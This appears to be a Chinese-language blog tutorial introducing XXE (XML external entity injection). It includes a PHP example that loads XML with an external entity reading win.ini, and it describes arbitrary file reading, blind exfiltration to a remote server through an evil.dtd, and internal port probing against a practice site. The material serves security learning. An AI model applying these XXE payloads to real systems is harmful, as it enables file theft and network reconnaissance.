初识XXE漏洞

XML是一种可扩展性语言,经常被用来传输和存储数据。

XML包括XML声明、DTD文档类型定义、文档元素。DTD文档类型定义即可以在XML内部声明,也可以是外部引用。

内部声明:<!DOCTYOE  test   any >

外部声明:<!DOCTYOE  test  SYSTEM  '' >

XXE漏洞即为XML外部实体注入

看看漏洞是如何产生的?

代码为

<?php

$xml=<<<ABC

<?xml  version="1.0" ?>

<!DOCTYPE  AND  [

<!ENTITY   xxe    SYSTEM   "file:///C:/windows/win.ini">

]>

<note>

<name>&xxe;</name>

<sex>boy</sex>

</note>

ABC;

$data=simplexml_load_string($xml);

//把XML字符串载入对象中

print_r($data);

?>

simplexml_load_string函数将XML字符串进行执行,隐藏在XML文件里DTD外部引用成功得到执行,漏洞由此产生。

漏洞利用

读取任意文件内容

源代码

进行访问,可获取到win.ini文件内容

win.ini

我们来验证一下

win.ini

当没有回显的时候,只要能够被正确解析,依然可以利用。

a.php

把数据发送至远端服务器。

evil.dtd

依然可以读取文件

ok

探测内网端口

我这里开一台kali虚拟机进行测试,修改源码为

xxe.php

再次访问

探测出端口开放

实验操作

访问http://testhtml5.vulnweb.com/ 网站,点击login----forgot  pwd ,进行实验

抓包,进行漏洞利用

注入

漏洞的利用至少满足两个条件:XML文件能成功解析、参数可控成功注入。

更多的实验和细节,参考

http://www.freebuf.com/articles/web/126788.html

https://www.cnblogs.com/r00tuser/p/7255939.html

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 或许是不知梦的缘故,流离之人追逐幻影! 0X00 前言 首先介绍一下什么是XXE: XXE全称是——XML Ext...
    RedTeamWing阅读 21,490评论 2 15
  • 0×00 背景 近期看到OWASP TOP 10 2017 版中添加了XXE的内容便对XXE的一些知识进行梳理和总...
    查无此人asdasd阅读 4,761评论 0 2
  • 0x01 XML基础 在聊XXE之前,先说说相关的XML知识吧。 定义 XML用于标记电子文件使其具有结构性的标记...
    Pino_HD阅读 21,004评论 2 10
  • 芳芳是一个应届毕业生。最近在一家公司面试成功后作为实习生进入公司实习。在面试期间有和老板聊过几句,说起过自己的爱好...
    职场龙啸阅读 10,149评论 0 0
  • 你不在白色的沙滩上 你不在喧闹的人群里 黑色的海 在嘲笑着风 孤独的人 在放肆地笑 你不在公园里 你不在椰子树下 ...
    二月echo阅读 2,540评论 0 0

友情链接更多精彩内容